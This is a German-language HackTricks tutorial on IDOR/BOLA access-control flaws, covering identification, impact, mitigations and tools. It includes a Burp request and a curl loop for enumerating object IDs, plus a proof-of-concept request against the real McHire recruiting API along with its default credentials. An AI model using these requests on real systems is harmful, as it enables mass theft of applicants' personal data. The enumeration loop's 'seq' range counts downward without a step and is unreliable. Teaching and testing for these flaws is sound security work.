IDOR (Insecure Direct Object Reference)
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) tritt auf, wenn ein Web- oder API-Endpunkt einen vom Benutzer steuerbaren Bezeichner offenlegt oder akzeptiert, der direkt verwendet wird, um auf ein internes Objekt zuzugreifen, ohne zu überprüfen, ob der Anrufer berechtigt ist, auf dieses Objekt zuzugreifen/zu ändern. Erfolgreiche Ausnutzung ermöglicht normalerweise eine horizontale oder vertikale Privilegieneskalation, wie das Lesen oder Ändern von Daten anderer Benutzer und im schlimmsten Fall die vollständige Übernahme des Kontos oder die Massen-Datenexfiltration.
1. Identifizierung potenzieller IDORs
- Suchen Sie nach Parametern, die auf ein Objekt verweisen:
- Pfad:
/api/user/1234
,/files/550e8400-e29b-41d4-a716-446655440000
- Abfrage:
?id=42
,?invoice=2024-00001
- Body / JSON:
{"user_id": 321, "order_id": 987}
- Header / Cookies:
X-Client-ID: 4711
- Bevorzugen Sie Endpunkte, die Daten lesen oder aktualisieren (
GET
,PUT
,PATCH
,DELETE
). - Beachten Sie, wenn Bezeichner sequentiell oder vorhersehbar sind – wenn Ihre ID
64185742
ist, dann existiert wahrscheinlich64185741
. - Erkunden Sie versteckte oder alternative Abläufe (z. B. "Paradox team members" Link auf Anmeldeseiten), die zusätzliche APIs offenlegen könnten.
- Verwenden Sie eine authentifizierte Sitzung mit niedrigen Rechten und ändern Sie nur die ID, während Sie dasselbe Token/Cookie beibehalten. Das Fehlen eines Autorisierungsfehlers ist normalerweise ein Zeichen für IDOR.
Schnelles manuelles Manipulieren (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Automatisierte Enumeration (Burp Intruder / curl Schleife)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
2. Fallstudie aus der Praxis – McHire Chatbot-Plattform (2025)
Während einer Bewertung des von Paradox.ai betriebenen McHire Rekrutierungsportals wurde das folgende IDOR entdeckt:
- Endpunkt:
PUT /api/lead/cem-xhr
- Autorisierung: Benutzer-Sitzungscookie für jedes Restaurant-Testkonto
- Body-Parameter:
{"lead_id": N}
– 8-stellige, sequentielle numerische Kennung
Durch das Verringern von lead_id
konnte der Tester beliebige Bewerberdaten mit vollständigen PII (Name, E-Mail, Telefon, Adresse, Schichtpräferenzen) sowie ein Verbraucher-JWT abrufen, das Session-Hijacking ermöglichte. Die Enumeration des Bereichs 1 – 64,185,742
offenbarte ungefähr 64 Millionen Datensätze.
Proof-of-Concept-Anfrage:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Kombiniert mit Standard-Admin-Anmeldeinformationen (123456:123456
), die Zugriff auf das Testkonto gewährten, führte die Schwachstelle zu einem kritischen, unternehmensweiten Datenleck.
3. Auswirkungen von IDOR / BOLA
- Horizontale Eskalation – Lesen/Aktualisieren/Löschen von Daten anderer Benutzer.
- Vertikale Eskalation – Niedrig privilegierter Benutzer erhält nur für Admins verfügbare Funktionen.
- Massen-Datenleck, wenn Identifikatoren sequenziell sind (z. B. Bewerber-IDs, Rechnungen).
- Kontoübernahme durch Stehlen von Tokens oder Zurücksetzen von Passwörtern anderer Benutzer.
4. Minderung & Best Practices
- Durchsetzung der objektbezogenen Autorisierung bei jeder Anfrage (
user_id == session.user
). - Bevorzugen Sie indirekte, nicht erratbare Identifikatoren (UUIDv4, ULID) anstelle von Auto-Increment-IDs.
- Führen Sie die Autorisierung serverseitig durch, verlassen Sie sich niemals auf versteckte Formularfelder oder UI-Steuerelemente.
- Implementieren Sie RBAC / ABAC-Überprüfungen in einer zentralen Middleware.
- Fügen Sie Ratenbegrenzung & Protokollierung hinzu, um die Enumeration von IDs zu erkennen.
- Sicherheitstest für jeden neuen Endpunkt (Einheit, Integration und DAST).
5. Werkzeuge
- BurpSuite-Erweiterungen: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github-Projekte:
bwapp-idor-scanner
,Blindy
(Bulk-IDOR-Jagd).
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Referenzen
- McHire Chatbot Platform: Standardanmeldeinformationen und IDOR legen 64 Millionen Bewerber-PII offen
- OWASP Top 10 – Fehlerhafte Zugriffskontrolle
- Wie man mehr IDORs findet – Vickie Li {{#include /banners/hacktricks-training.md}}